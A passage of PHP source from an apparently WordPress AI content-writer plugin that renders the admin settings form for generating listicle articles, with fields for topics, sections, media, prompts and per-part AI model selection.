dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("If you set a post topic list here, the titles you entered in the \'Post Title List\' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the \'Title Prompt\' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Generate Post Title Based On Topics (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_topic_list][]" placeholder="Example: \'funny dog facts\', \'best houseplants\', \'proven ways to save money\'" class="cr_width_full">' . esc_textarea($post_topic_list) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the method to be used for the title generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Title Generator Method", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="title_generator_method" name="aiomatic_listicle_list[title_generator_method][]"> <option value="ai"'; if ($title_generator_method == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Writer", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="serp"'; if ($title_generator_method == 'serp') { $output .= ' selected'; } $output .= '>' . esc_html__("Related SERP Searches", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Sections List (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full">' . esc_textarea($post_sections_list) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of listicle entries to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Listicle Entries To Generate", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="section_count' . esc_html($cont) . '" name="aiomatic_listicle_list[section_count][]" placeholder="3-4" class="cr_width_full" value="' . esc_attr($section_count) . '"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select what you want to do with listicle entries in articles.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Listicle Entries To Content As", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_listicle_list[sections_role][]"> <option value="h2"'; if ($sections_role == 'h2') { $output .= ' selected'; } $output .= '>' . esc_html__("h2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="h3"'; if ($sections_role == 'h3') { $output .= ' selected'; } $output .= '>' . esc_html__("h3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="b"'; if ($sections_role == 'b') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="i"'; if ($sections_role == 'i') { $output .= ' selected'; } $output .= '>' . esc_html__("Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bi"'; if ($sections_role == 'bi') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="p"'; if ($sections_role == 'p') { $output .= ' selected'; } $output .= '>' . esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="x"'; if ($sections_role == 'x') { $output .= ' selected'; } $output .= '>' . esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="no"'; if ($sections_role == 'no') { $output .= ' selected'; } $output .= '>' . esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of paragraphs to create for each Listicle Entry. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Paragraphs Per Listicle Entry", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="paragraph_count' . esc_html($cont) . '" name="aiomatic_listicle_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="' . esc_attr($paragraph_count) . '"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number of Images To Add To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_listicle_list[topic_images][]" value="' . esc_attr($topic_images) . '" placeholder="Number of images" class="cr_width_full"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add An Image To Each Heading Of The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="img_all_headings" name="aiomatic_listicle_list[img_all_headings][]"'; if($img_all_headings == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the location of the heading images/videos.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Heading Image/Video Location", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location' . esc_html($cont) . '" name="aiomatic_listicle_list[heading_img_location][]" class="cr_width_full"> <option value="top"'; if ($heading_img_location == 'top') { $output .= ' selected'; } $output .= '>' . esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="heading"'; if ($heading_img_location == 'heading') { $output .= ' selected'; } $output .= '>' . esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bottom"'; if ($heading_img_location == 'bottom') { $output .= ' selected'; } $output .= '>' . esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="random"'; if ($heading_img_location == 'random') { $output .= ' selected'; } $output .= '>' . esc_html__("Random", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the number of related videos to add to the created post content. The maximum number of videos you can add to each article: number of sections", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number of YouTube Videos To Add To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" name="aiomatic_listicle_list[topic_videos][]" value="' . esc_attr($topic_videos) . '" placeholder="Number of videos" class="cr_width_full"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_outro' . esc_html($cont) . '" name="aiomatic_listicle_list[title_outro][]" type="text" placeholder="Optional" class="coderevolution_gutenberg_input" value="' . esc_attr($title_outro) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article Table Of Contents Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input type="checkbox" id="enable_toc" name="aiomatic_listicle_list[enable_toc][]"'; if($enable_toc == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Table Of Contents Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input id="title_toc' . esc_html($cont) . '" name="aiomatic_listicle_list[title_toc][]" type="text" placeholder="Table of Contents" class="coderevolution_gutenberg_input" value="' . esc_attr($title_toc) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article Q&A Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_qa" name="aiomatic_listicle_list[enable_qa][]"'; if($enable_qa == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_qa' . esc_html($cont) . '" name="aiomatic_listicle_list[title_qa][]" type="text" placeholder="Q&A" class="coderevolution_gutenberg_input" value="' . esc_attr($title_qa) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Content Parameters', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Language", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="content_language' . esc_html($cont) . '" name="aiomatic_listicle_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="' . esc_attr($content_language) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Style", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_style' . esc_html($cont) . '" name="aiomatic_listicle_list[writing_style][]" type="text" list="writing_styles" placeholder="Created content writing style" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_style) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Tone", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_tone' . esc_html($cont) . '" name="aiomatic_listicle_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_tone) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Prompts', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Title Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">' . esc_textarea($title_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Title Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[topic_title_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_title_model)) { $topic_title_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_title_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Intro. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Intro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">' . esc_textarea($intro_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Intro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[topic_intro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_intro_model)) { $topic_intro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_intro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Listicle Entries. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Listicle Entries Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">' . esc_textarea($sections_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Listicle Entries generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Listicle Entries Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[topic_sections_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_sections_model)) { $topic_sections_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_sections_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%article_so_far%%, %%last_section_content%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Listicle Entries Content Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="3" cols="70" name="aiomatic_listicle_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">' . esc_textarea($content_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Content Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[topic_content_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_content_model)) { $topic_content_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_content_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="single_content_call' . esc_html($cont) . '" name="aiomatic_listicle_list[single_content_call][]"'; if($single_content_call == '1') { $output .= ' checked'; } $output .= ' onclick="hideTOC(' . esc_html($cont) . ');"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Q&A. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">' . esc_textarea($qa_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Q&A Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[topic_qa_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_qa_model)) { $topic_qa_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_qa_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post outro. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">' . esc_textarea($outro_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Outro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[topic_outro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_outro_model)) { $topic_outro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_outro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Excerpt Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[excerpt_prompt][]" 